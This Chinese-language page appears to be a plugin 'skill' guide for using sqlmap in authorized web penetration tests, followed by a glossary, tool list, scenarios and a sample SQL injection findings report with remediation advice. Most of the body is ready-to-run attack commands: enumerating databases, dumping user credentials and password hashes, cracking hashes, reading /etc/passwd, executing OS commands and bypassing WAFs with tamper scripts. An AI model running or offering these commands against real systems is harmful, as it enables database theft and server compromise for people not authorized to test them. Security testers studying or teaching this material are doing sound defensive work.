Uses sqlmap to detect and exploit SQL injection vulnerabilities in authorized web penetration tests, including scanning parameters, enumerating databases, dumping data, and testing OS access.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权的 Web 应用程序渗透测试任务中
Detects and exploits SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
Detects and exploits SQL injection in web apps using sqlmap during authorized pentests, with steps for scanning parameters and enumerating databases/tables.
Identifies and exploits SQL injection vulnerabilities in web apps during authorized pentests using manual techniques (error, union, blind, time-based) and sqlmap on MySQL, PostgreSQL, MSSQL, Oracle.
Share bugs, ideas, or general feedback.
pip install sqlmap 或在 Kali Linux 上 apt install sqlmap 安装手动浏览应用程序,识别与数据库交互的参数。使用 Burp Suite 捕获请求。
# 启动 Burp Suite 代理并捕获请求
# 在 URL、POST 体、Cookie 和请求头中查找参数
# 目标 URL 示例,其中包含疑似可注入参数:
# https://target.example.com/products?id=1
# 手动测试基本 SQL 注入指标
curl -k "https://target.example.com/products?id=1'"
# 查找如下 SQL 错误消息:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"
针对疑似注入点启动 sqlmap,确认漏洞并识别数据库类型。
# 基本 GET 参数测试
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
# POST 请求(将 Burp Suite 的请求保存到文件)
sqlmap -r request.txt --batch --random-agent
# 测试 POST 请求中的特定参数
sqlmap -u "https://target.example.com/login" \
--data="username=admin&password=test" \
-p "username" --batch --random-agent
# 测试基于 Cookie 的注入
sqlmap -u "https://target.example.com/dashboard" \
--cookie="session=abc123; user_id=5" \
-p "user_id" --batch --random-agent
确认注入后,枚举数据库、数据表和列。
# 列出所有数据库
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
# 列出特定数据库中的数据表
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db --tables --batch --random-agent
# 列出特定数据表中的列
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --columns --batch --random-agent
导出敏感表的内容以证明影响。
# 从数据表中导出特定列
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password,email" \
--dump --batch --random-agent
# 限制行数导出,避免过度数据提取
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump --start=1 --stop=10 \
--batch --random-agent
# 尝试自动破解密码哈希
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password" \
--dump --batch --passwords --random-agent
通过测试操作系统级别访问和文件操作评估完整影响。
# 检查当前数据库用户和权限
sqlmap -u "https://target.example.com/products?id=1" \
--current-user --current-db --is-dba --batch --random-agent
# 尝试读取服务器文件(如果存在 DBA 权限)
sqlmap -u "https://target.example.com/products?id=1" \
--file-read="/etc/passwd" --batch --random-agent
# 尝试执行操作系统命令(MySQL 具有 FILE 权限时)
sqlmap -u "https://target.example.com/products?id=1" \
--os-cmd="whoami" --batch --random-agent
当 WAF(Web 应用程序防火墙)或输入过滤器拦截基本载荷时,使用 Tamper 脚本。
# 常用的 WAF 绕过 Tamper 脚本
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="space2comment,between,randomcase" \
--batch --random-agent
# 针对特定 WAF 的绕过(例如 ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="modsecurityversioned,modsecurityzeroversioned" \
--batch --random-agent
# 列出所有可用的 Tamper 脚本
sqlmap --list-tampers
记录发现结果并清理所有产生的文件。
# sqlmap 将结果存储在 ~/.local/share/sqlmap/output/
# 查看目标输出目录
ls -la ~/.local/share/sqlmap/output/target.example.com/
# 指定输出目录导出结果
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump \
--output-dir="/tmp/pentest-results" \
--batch --random-agent
# 任务结束后清理 sqlmap 会话数据
sqlmap --purge
| 概念 | 定义 |
|---|---|
| 联合查询 SQLi(Union-based SQLi) | 使用 UNION SELECT 将攻击者的查询结果附加到原始查询输出中 |
| 布尔盲注(Blind Boolean SQLi) | 通过观察应用程序的真/假响应,每次推断一位数据 |
| 时间盲注(Blind Time-based SQLi) | 使用数据库睡眠函数(如 SLEEP(5))基于响应延迟推断数据 |
| 报错注入(Error-based SQLi) | 通过 HTTP 响应中返回的详细数据库错误消息提取数据 |
| 堆叠查询(Stacked Queries) | 通过分号分隔多条 SQL 语句,执行 INSERT/UPDATE/DELETE 操作 |
| 带外注入(Out-of-band SQLi) | 通过数据库服务器发起的 DNS 或 HTTP 请求外泄数据 |
| Tamper 脚本(Tamper Scripts) | sqlmap 插件,用于修改载荷以绕过 WAF 和输入清理过滤器 |
| 二阶注入(Second-order SQLi) | 注入的载荷被存储,稍后在不同查询上下文中执行 |
| 工具 | 用途 |
|---|---|
| sqlmap | 自动化 SQL 注入检测与利用框架 |
| Burp Suite Professional | 用于拦截、修改和重放请求的 HTTP 代理 |
| OWASP ZAP | Burp 的免费替代品,用于 Web 应用扫描和代理 |
| Havij | 带 GUI 的自动化 SQL 注入工具(Windows) |
| jSQL Injection | 基于 Java 的 SQL 注入测试 GUI 工具 |
| DBeaver/DataGrip | 用于验证提取数据结构的数据库客户端 |
商品详情页直接在 SQL 查询中使用 id 参数。使用 sqlmap 提取完整的客户数据库(包含支付信息)以证明严重的业务影响。
登录表单将用户输入拼接到认证查询中。利用漏洞绕过认证并枚举数据库中存储的所有用户凭证。
搜索功能存在 SQL 注入漏洞,但受 WAF 保护。使用 space2comment 和 between 等 Tamper 脚本对载荷进行编码并绕过过滤规则。
Cookie 值在服务器端被用于数据库查询。使用基于时间的盲注技术逐字符提取数据。
## SQL 注入发现报告
**漏洞**:SQL 注入(联合查询型)
**严重性**:严重(CVSS 9.8)
**位置**:/products?id=1 处的 GET 参数 `id`
**数据库**:MySQL 8.0.32
**影响**:完整数据库读取权限,15,000 条用户记录已暴露
**OWASP 类别**:A03:2021 - 注入
### 证据
- 注入点:`id` 参数(GET)
- 技术:联合查询型
- 后端 DBMS:MySQL >= 5.0
- 当前用户:app_user@localhost
- DBA 权限:否
### 已枚举的数据库
1. information_schema
2. target_app_db
3. mysql
### 已暴露的敏感数据
- 数据表:users(15,247 行)
- 列:id、username、email、password_hash、created_at
### 修复建议
1. 对所有数据库交互使用参数化查询(预编译语句)
2. 对预期数据类型实施基于白名单的输入验证
3. 为应用程序用户应用最小权限数据库权限
4. 部署 WAF 作为纵深防御
5. 启用数据库查询日志记录和异常模式监控